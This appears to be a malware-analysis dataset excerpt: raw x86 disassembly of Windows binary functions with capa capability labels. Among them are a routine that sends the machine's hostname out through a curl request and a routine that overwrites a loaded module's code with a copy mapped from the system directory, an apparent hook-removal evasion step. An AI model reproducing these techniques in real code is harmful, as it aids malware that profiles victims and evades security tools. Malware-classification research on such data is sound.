joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411a8b
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x453160]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040c98b
mov dword [ebp - 0x14], eax
cmp dword [0x456990], edi
jne 0x411b7c
push 0x800
push edi
push 0x4455ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x411b09
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x411c5c
push 0x4455ac
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x411c5c
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x411c5c
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x456990], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x456994], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x456998], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x4569a0], eax
test eax, eax
je 0x411b79
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x45699c], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x411ba1
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x411b94
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x411bb6
push 4
pop eax
jmp 0x411c5e
cmp dword [ebp - 0x14], edi
je 0x411bb6
push dword [0x456990]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x411b9b
mov eax, dword [0x45699c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x411c14
cmp dword [0x4569a0], esi
je 0x411c14
push eax
call ebx
push dword [0x4569a0]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x411c14
test eax, eax
je 0x411c14
call ecx
test eax, eax
je 0x411c09
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x411c09
test byte [ebp - 8], 1
jne 0x411c14
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x411c44
mov eax, dword [0x456994]
cmp eax, esi
je 0x411c41
push eax
call ebx
test eax, eax
je 0x411c41
call eax
mov edi, eax
test edi, edi
je 0x411c41
mov eax, dword [0x456998]
cmp eax, esi
je 0x411c41
push eax
call ebx
test eax, eax
je 0x411c41
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x456990]
call ebx
test eax, eax
je 0x411c5c
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x411c5e
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408550
leave
ret
Function at 0x41623b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0040cfb5
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x416273
xor eax, eax
jmp 0x41629f
cmp esi, dword [ebp - 4]
je 0x41629c
cmp dword [ebp + 0xc], 0
je 0x41629c
push dword [edi + 0x9c]
call fcn.00415e49
push dword [edi + 0x9c]
mov esi, eax
call fcn.00411a72
pop ecx
pop ecx
cmp esi, eax
je 0x41626f
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x4198b0
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [0x453160]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 2
lea eax, [ebp - 8]
push eax
call sub.SensApi.dll_IsNetworkAlive
test eax, eax
je 0x4198f4
push 0
push 1
mov ecx, dword [ebp + 8]
call fcn.0040335f
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x4198f4
mov al, 1
jmp 0x4198f6
xor al, al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408550
mov esp, ebp
pop ebp
ret 4
Function at 0x420a30
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x453160]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax + 0x1c]
test ecx, ecx
je 0x420a55
mov eax, 1
jmp 0x420ad2
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
jmp 0x420a6e
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 2
jge 0x420a8e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
mov dword [edx + ecx*4 + 0x20], eax
jmp 0x420a65
lea eax, [ebp - 8]
push eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
push 0x420c20
push 0
push 0
call fcn.00424889
add esp, 0x18
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0xc]
cmp dword [eax + 0x18], 0
je 0x420ac1
mov ecx, dword [ebp - 0xc]
mov byte [ecx + 0x1c], 1
jmp 0x420acf
mov dword [ebp - 0x14], 0x80004005
mov edx, dword [ebp - 0xc]
mov byte [edx + 0x1c], 0
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00408550
mov esp, ebp
pop ebp
ret

Function at 0x420ae0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
movzx ecx, byte [eax + 0x1c]
test ecx, ecx
jne 0x420af9
jmp 0x420b9b
mov edx, dword [ebp - 4]
mov byte [edx + 0x1c], 0
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + eax + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xea60
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x420b55
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov dword [eax + 0x18], 0
mov dword [ebp - 8], 0
jmp 0x420b67
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 2
jge 0x420b9b
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp dword [eax + edx*4 + 0x20], 0
je 0x420b99
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + ecx*4 + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [edx + ecx*4 + 0x20], 0
jmp 0x420b5e
mov esp, ebp
pop ebp
ret
Function at 0x44b8d0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
mov eax, dword [0x699280]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 3
call fcn.00588580
add esp, 4
call fcn.00588380
mov esi, eax
test esi, esi
je 0x44b9a6
push str.https:__login.microsoftonline.com_issuer_oauth2_v2.0_authorize
push 0x2712
push esi
call fcn.0058c4b0
add esp, 0xc
mov dword [ebp - 0x808], 0x400
lea eax, [ebp - 0x808]
push eax
lea eax, [ebp - 0x804]
push eax
push 5
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
push 0x400
lea eax, [ebp - 0x404]
push 0
push eax
call fcn.005e1d60
lea eax, [ebp - 0x804]
push eax
lea eax, [ebp - 0x404]
push str.pc_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x404]
push eax
push 0x271f
push esi
call fcn.0058c4b0
push esi
call fcn.005883e0
add esp, 0x28
test eax, eax
je 0x44b99d
push eax
call fcn.00588e60
add esp, 4
push eax
push str.curl_easy_perform___failed:__s_n
push 2
call fcn.005e3e7b
add esp, 4
push eax
call fcn.0044b260
add esp, 0xc
push esi
call fcn.00588360
add esp, 4
call fcn.00588530
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.005dffa1
mov esp, ebp
pop ebp
ret
Function at 0x44b9c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.005e0210
mov eax, dword [0x699280]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebx, eax
mov dword [ebp - 0x100c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1024], ebx
push edi
movq qword [ebp - 0x1014], xmm0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1000
mov dword [ebp - 0x101c], eax
lea eax, [ebp - 0x1004]
push 0
push eax
call fcn.005e1d60
add esp, 0xc
lea eax, [ebp - 0x1004]
push 0x1000
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1004]
push 0x693684
push eax
call esi
push edi
lea eax, [ebp - 0x1004]
push eax
call esi
push 0xc
lea eax, [ebp - 0x1014]
push eax
push dword [ebp - 0x101c]
push ebx
call dword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
mov esi, dword [ebp - 0x1014]
lea eax, [ebp - 0x1004]
push 0
push 0
push 3
push 0
push 1
push connect
push eax
mov dword [ebp - 0x1018], esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
push 0
push 0x1000002
push 0
push eax
mov dword [ebp - 0x1028], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
push 4
push eax
mov dword [ebp - 0x102c], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, dword [esi + 0x3c]
add ebx, esi
mov dword [ebp - 0x1020], eax
xor eax, eax
xor esi, esi
cmp ax, word [ebx + 6]
jae 0x44bb8c
nop dword [eax + eax]
movzx eax, si
lea ecx, [eax + eax*4]
movzx eax, word [ebx + 0x14]
add eax, ebx
lea edi, [eax + ecx*8]
mov eax, 0x693688
lea ecx, [edi + 0x18]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x44bb17
test dl, dl
je 0x44bb13
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x44bb17
add ecx, 2
add eax, 2
test dl, dl
jne 0x44baf7
xor eax, eax
jmp 0x44bb1c
sbb eax, eax
or eax, 1
test eax, eax
jne 0x44bb81
mov dword [ebp - 0x1008], eax
lea eax, [ebp - 0x1008]
push eax
mov eax, dword [edi + 0x24]
add eax, dword [ebp - 0x1018]
push 0x40
push dword [edi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push dword [edi + 0x20]
mov eax, dword [ebp - 0x1020]
add eax, dword [edi + 0x24]
push eax
mov eax, dword [ebp - 0x1018]
add eax, dword [edi + 0x24]
push eax
call fcn.005e17e0
add esp, 0xc
lea eax, [ebp - 0x1008]
push eax
push dword [ebp - 0x1008]
mov eax, dword [edi + 0x24]
push dword [edi + 0x20]
add eax, dword [ebp - 0x1018]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
inc esi
cmp si, word [ebx + 6]
jb 0x44bae0
push dword [ebp - 0x1024]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x1028]
call esi
push dword [ebp - 0x102c]
call esi
push dword [ebp - 0x101c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005dffa1
mov esp, ebp
pop ebp
ret
Function at 0x45cb70
Capabilities:
Encode data using xor

Disassembly:
mov eax, 8
call fcn.005e0210
push ebx
mov ebx, dword [esp + 0x14]
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x20]
push edi
mov edi, dword [esp + 0x34]
mov edi, dword [edi]
mov dword [esp + 0x14], edi
test edi, edi
je 0x45cbb9
mov ecx, dword [esp + 0x30]
nop dword [eax]
test esi, esi
je 0x45cbb9
mov al, byte [edi + ecx]
dec esi
xor al, byte [ebp]
inc edi
mov byte [ebx], al
inc ebp
inc ebx
and edi, 0xf
mov dword [esp + 0x14], edi
jne 0x45cba0
mov eax, dword [esp + 0x2c]
mov edx, dword [eax + 0xc]
bswap edx
mov dword [esp + 0x24], edx
cmp esi, 0x10
jb 0x45cc54
mov edi, eax
mov ecx, esi
shr ecx, 4
push edi
push dword [esp + 0x2c]
lea eax, [ecx + edx]
neg edx
cmp eax, ecx
cmovae edx, ecx
mov dword [esp + 0x18], edx
xor edx, edx
push dword [esp + 0x18]
cmp eax, ecx
push ebx
cmovae edx, eax
push ebp
mov dword [esp + 0x38], edx
call dword [esp + 0x4c]
mov edx, dword [esp + 0x38]
add esp, 0x14
mov eax, edx
bswap eax
mov dword [edi + 0xc], eax
test edx, edx
jne 0x45cc36
mov edx, 0xc
mov eax, 1
nop word [eax + eax]
movzx ecx, byte [edx + edi - 1]
dec edx
add eax, ecx
mov byte [edx + edi], al
shr eax, 8
test edx, edx
jne 0x45cc20
mov edx, dword [esp + 0x24]
mov eax, dword [esp + 0x10]
shl eax, 4
sub esi, eax
add ebx, eax
add ebp, eax
cmp esi, 0x10
jae 0x45cbd1
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x2c]
mov dword [esp + 0x24], edx
test esi, esi
je 0x45ccb2
mov ecx, dword [esp + 0x30]
xorps xmm0, xmm0
push eax
push dword [esp + 0x2c]
push 1
push ecx
push ecx
movups xmmword [ecx], xmm0
call dword [esp + 0x4c]
mov edx, dword [esp + 0x38]
add esp, 0x14
mov eax, dword [esp + 0x2c]
add edx, 1
bswap edx
mov dword [eax + 0xc], edx
jne 0x45cc8d
push eax
call fcn.0045ccf0
add esp, 4
mov eax, dword [esp + 0x30]
sub ebp, eax
sub ebx, eax
lea ecx, [edi + eax]
add edi, esi
nop word [eax + eax]
mov al, byte [ecx + ebp]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
mov byte [ebx + ecx - 1], al
sub esi, 1
jne 0x45cca0
mov eax, dword [esp + 0x34]
mov dword [eax], edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret
Function at 0x45cd20
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x14
call fcn.005e0210
mov eax, dword [esp + 0x2c]
push esi
mov esi, dword [eax]
test esi, esi
jns 0x45cd40
mov dword [eax], 0xffffffff
pop esi
add esp, 0x14
ret
push ebx
mov ebx, dword [esp + 0x24]
push ebp
mov ebp, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x30]
test esi, esi
je 0x45cd6c
mov ecx, dword [esp + 0x38]
test edi, edi
je 0x45cd6c
mov al, byte [esi + ecx]
dec edi
xor al, byte [ebp]
inc esi
mov byte [ebx], al
inc ebp
inc ebx
and esi, 0xf
jne 0x45cd57
mov edx, dword [esp + 0x40]
cmp edi, 0x10
jb 0x45ce05
mov ecx, dword [esp + 0x38]
mov eax, ebx
sub eax, ecx
mov dword [esp + 0x14], eax
mov eax, ebp
sub eax, ecx
mov dword [esp + 0x18], eax
mov eax, edi
shr eax, 4
mov dword [esp + 0x10], eax
shl eax, 4
add ebx, eax
add ebp, eax
mov dword [esp + 0x1c], ebx
mov ebx, dword [esp + 0x14]
mov dword [esp + 0x20], ebp
mov ebp, dword [esp + 0x18]
jmp 0x45cdb4
mov ecx, dword [esp + 0x38]
push dword [esp + 0x34]
push ecx
push ecx
call edx
add esp, 0xc
cmp esi, 0x10
jae 0x45cde7
mov eax, dword [esp + 0x38]
mov edx, 0xf
sub edx, esi
add eax, esi
shr edx, 2
inc edx
mov ecx, dword [eax + ebp]
lea eax, [eax + 4]
xor ecx, dword [eax - 4]
mov dword [ebx + eax - 4], ecx
sub edx, 1
jne 0x45cdd5
mov edx, dword [esp + 0x40]
sub edi, 0x10
add ebx, 0x10
add ebp, 0x10
xor esi, esi
sub dword [esp + 0x10], 1
jne 0x45cdb0
mov ebx, dword [esp + 0x1c]
mov ebp, dword [esp + 0x20]
test edi, edi
je 0x45ce37
push dword [esp + 0x34]
mov eax, dword [esp + 0x3c]
push eax
push eax
call edx
mov eax, dword [esp + 0x44]
add esp, 0xc
sub ebp, eax
sub ebx, eax
lea ecx, [esi + eax]
add esi, edi
mov al, byte [ecx + ebp]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
mov byte [ecx + ebx - 1], al
sub edi, 1
jne 0x45ce25
mov eax, dword [esp + 0x3c]
pop edi
pop ebp
pop ebx
mov dword [eax], esi
pop esi
add esp, 0x14
ret
Function at 0x45d5e0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.005e0210
push ebp
mov ebp, dword [esp + 0xc]
mov eax, dword [ebp + 0x38]
or eax, dword [ebp + 0x3c]
je 0x45d5ff
mov eax, 0xfffffffe
pop ebp
pop ecx
ret
push esi
mov esi, dword [esp + 0x18]
xor ecx, ecx
mov eax, esi
add eax, dword [ebp + 0x30]
adc ecx, dword [ebp + 0x34]
cmp ecx, 0x20000000
ja 0x45d6d0
jb 0x45d624
test eax, eax
jne 0x45d6d0
push ebx
mov dword [ebp + 0x34], ecx
mov ecx, dword [ebp + 0x170]
mov dword [ebp + 0x30], eax
mov dword [esp + 0x14], ecx
push edi
mov edi, dword [esp + 0x1c]
test ecx, ecx
je 0x45d673
nop
test esi, esi
je 0x45d6c2
mov al, byte [edi]
dec esi
xor byte [ecx + ebp + 0x40], al
inc edi
inc ecx
and ecx, 0xf
mov dword [esp + 0x18], ecx
jne 0x45d640
lea eax, [ebp + 0x60]
push eax
mov eax, dword [ebp + 0x168]
lea ebx, [ebp + 0x40]
push ebx
call eax
mov eax, dword [esp + 0x20]
add esp, 8
mov dword [esp + 0x18], eax
jmp 0x45d676
lea ebx, [ebp + 0x40]
mov eax, esi
lea ecx, [ebp + 0x60]
and eax, 0xfffffff0
mov dword [esp + 0x10], eax
je 0x45d69b
push eax
mov eax, dword [ebp + 0x164]
push edi
push ecx
push ebx
call eax
add edi, dword [esp + 0x20]
add esp, 0x10
sub esi, dword [esp + 0x10]
test esi, esi
je 0x45d6be
mov ecx, esi
mov al, byte [edi]
lea edi, [edi + 1]
xor byte [ebx], al
lea ebx, [ebx + 1]
sub esi, 1
jne 0x45d6a1
pop edi
pop ebx
pop esi
mov dword [ebp + 0x170], ecx
xor eax, eax
pop ebp
pop ecx
ret
mov ecx, dword [esp + 0x18]
pop edi
pop ebx
pop esi
mov dword [ebp + 0x170], ecx
xor eax, eax
pop ebp
pop ecx
ret
pop esi
or eax, 0xffffffff
pop ebp
pop ecx
ret
Function at 0x45e6a0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov dword [esi + 0x30], 0
lea ebp, [esi + 0x40]
mov dword [esi + 0x34], 0
mov dword [esi + 0x38], 0
mov dword [esi + 0x3c], 0
mov dword [esi + 0x170], 0
mov dword [esi + 0x16c], 0
cmp ebx, 0xc
jne 0x45e705
mov eax, dword [esp + 0x18]
lea edi, [ebx - 0xb]
movq xmm0, qword [eax]
movq qword [esi], xmm0
mov eax, dword [eax + 8]
mov dword [esi + 8], eax
mov dword [esi + 0xc], 0x1000000
jmp 0x45e802
mov edi, dword [esp + 0x18]
lea edx, [esi + 0x60]
mov dword [ebp], 0
mov dword [ebp + 4], 0
mov dword [esi + 0x48], 0
mov dword [esp + 0x1c], ebx
mov dword [esi + 0x4c], 0
cmp ebx, 0x10
jb 0x45e79d
mov eax, ebx
lea ecx, [esi + 0x41]
shr eax, 4
mov dword [esp + 0x14], eax
nop dword [eax]
lea edx, [edi + 2]
mov eax, ecx
mov ebp, 4
nop word [eax + eax]
movzx ecx, byte [edx - 2]
lea edx, [edx + 4]
xor byte [eax - 1], cl
lea eax, [eax + 4]
movzx ecx, byte [edx - 5]
xor byte [eax - 4], cl
movzx ecx, byte [edx - 4]
xor byte [eax - 3], cl
movzx ecx, byte [edx - 3]
xor byte [eax - 2], cl
sub ebp, 1
jne 0x45e750
lea eax, [esi + 0x60]
push eax
mov eax, dword [esi + 0x168]
lea ebp, [esi + 0x40]
push ebp
call eax
add esp, 8
lea ecx, [esi + 0x41]
add edi, 0x10
sub ebx, 0x10
sub dword [esp + 0x14], 1
jne 0x45e740
lea edx, [esi + 0x60]
test ebx, ebx
je 0x45e7bf
mov ecx, ebp
mov al, byte [edi]
lea edi, [edi + 1]
xor byte [ecx], al
lea ecx, [ecx + 1]
sub ebx, 1
jne 0x45e7a3
mov eax, dword [esi + 0x168]
push edx
push ebp
call eax
add esp, 8
mov eax, dword [esp + 0x1c]
xor ecx, ecx
shld ecx, eax, 3
shl eax, 3
bswap eax
xor dword [esi + 0x4c], eax
lea eax, [esi + 0x60]
push eax
mov eax, dword [esi + 0x168]
bswap ecx
xor dword [esi + 0x48], ecx
push ebp
call eax
mov edi, dword [esi + 0x4c]
add esp, 8
mov eax, dword [ebp]
mov ecx, dword [ebp + 4]
mov dword [esi], eax
mov dword [esi + 4], ecx
mov eax, dword [esi + 0x48]
mov ecx, dword [esi + 0x4c]
mov dword [esi + 8], eax
bswap edi
mov dword [esi + 0xc], ecx
mov dword [ebp], 0
lea eax, [esi + 0x20]
mov dword [ebp + 4], 0
mov dword [esi + 0x48], 0
mov dword [esi + 0x4c], 0
push dword [esi + 0x178]
push eax
mov eax, dword [esi + 0x174]
push esi
call eax
add esp, 0xc
inc edi
bswap edi
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x45edb0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0xc
call fcn.005e0210
lea eax, [esp]
push eax
call fcn.0045e980
mov eax, dword [esp + 8]
add esp, 4
test eax, eax
je 0x45edd3
add esp, 0xc
jmp eax
push ebx
mov ebx, dword [esp + 0x20]
push esi
xor esi, esi
test ebx, ebx
je 0x45ee12
push ebp
mov ebp, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x20]
nop dword [eax]
movups xmm1, xmmword [esi + ebp]
movups xmm0, xmmword [edi]
push dword [esp + 0x24]
xorps xmm0, xmm1
push edi
movups xmmword [edi], xmm0
call dword [esp + 0x20]
add esi, 0x10
add esp, 8
cmp esi, ebx
jb 0x45edf0
pop edi
pop ebp
pop esi
pop ebx
add esp, 0xc
ret
Function at 0x45f130
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x2c
call fcn.005e0210
mov eax, dword [0x699280]
xor eax, esp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x38]
push ebx
push ebp
mov ebp, dword [esp + 0x3c]
push esi
mov esi, dword [esp + 0x3c]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x4c]
mov dword [esp + 0x1c], eax
mov bl, byte [esi]
mov ecx, dword [esi + 0x28]
mov eax, dword [esi + 0x2c]
mov byte [esp + 0xf], bl
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], eax
push edi
test bl, 0x40
jne 0x45f185
push eax
lea eax, [esi + 0x10]
push eax
push esi
call ecx
add esp, 0xc
movzx eax, bl
mov ecx, 0xf
and eax, 7
xor edx, edx
sub ecx, eax
mov dword [esp + 0x24], eax
mov byte [esi], al
cmp ecx, 0xf
jae 0x45f1b3
nop
movzx eax, byte [esi + ecx]
or edx, eax
mov byte [esi + ecx], 0
inc ecx
shl edx, 8
cmp ecx, 0xf
jb 0x45f1a0
movzx eax, byte [esi + 0xf]
mov edi, dword [esp + 0x4c]
or edx, eax
mov byte [esi + 0xf], 1
cmp edx, edi
je 0x45f1db
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.005dffa1
add esp, 0x2c
ret
mov ebx, edi
shr ebx, 4
test ebx, ebx
je 0x45f216
lea eax, [esi + 0x10]
push eax
push esi
push dword [esp + 0x1c]
push ebx
push dword [esp + 0x28]
push ebp
call dword [esp + 0x38]
shl ebx, 4
add esp, 0x18
add dword [esp + 0x18], ebx
add ebp, ebx
sub edi, ebx
je 0x45f26e
shr ebx, 4
push ebx
push esi
call fcn.0045fa90
add esp, 8
jmp 0x45f21a
test edi, edi
je 0x45f26e
mov ebx, dword [esp + 0x14]
lea eax, [esp + 0x28]
push ebx
push eax
push esi
call dword [esp + 0x28]
add esp, 0xc
test edi, edi
je 0x45f25d
mov ebx, dword [esp + 0x18]
lea ecx, [esp + 0x28]
mov eax, ecx
lea edx, [esi + 0x10]
sub ebp, eax
sub ebx, eax
mov al, byte [ecx + ebp]
lea ecx, [ecx + 1]
xor al, byte [ecx - 1]
lea edx, [edx + 1]
mov byte [ebx + ecx - 1], al
xor byte [edx - 1], al
sub edi, 1
jne 0x45f241
mov ebx, dword [esp + 0x14]
mov ebp, dword [esp + 0x1c]
lea eax, [esi + 0x10]
push ebx
push eax
push eax
call ebp
add esp, 0xc
jmp 0x45f276
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x14]
mov ecx, 0xf
sub ecx, dword [esp + 0x24]
cmp ecx, 0x10
jae 0x45f29a
mov eax, 0x10
sub eax, ecx
push eax
lea eax, [ecx + esi]
push 0
push eax
call fcn.005e1d60
add esp, 0xc
push ebx
lea eax, [esp + 0x2c]
push eax
push esi
call ebp
mov eax, dword [esp + 0x34]
add esp, 0xc
xor dword [esi + 0x10], eax
mov eax, dword [esp + 0x2c]
xor dword [esi + 0x14], eax
mov eax, dword [esp + 0x30]
xor dword [esi + 0x18], eax
mov eax, dword [esp + 0x34]
xor dword [esi + 0x1c], eax
mov al, byte [esp + 0x13]
mov ecx, dword [esp + 0x38]
pop edi
mov byte [esi], al
xor eax, eax
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.005dffa1
add esp, 0x2c
ret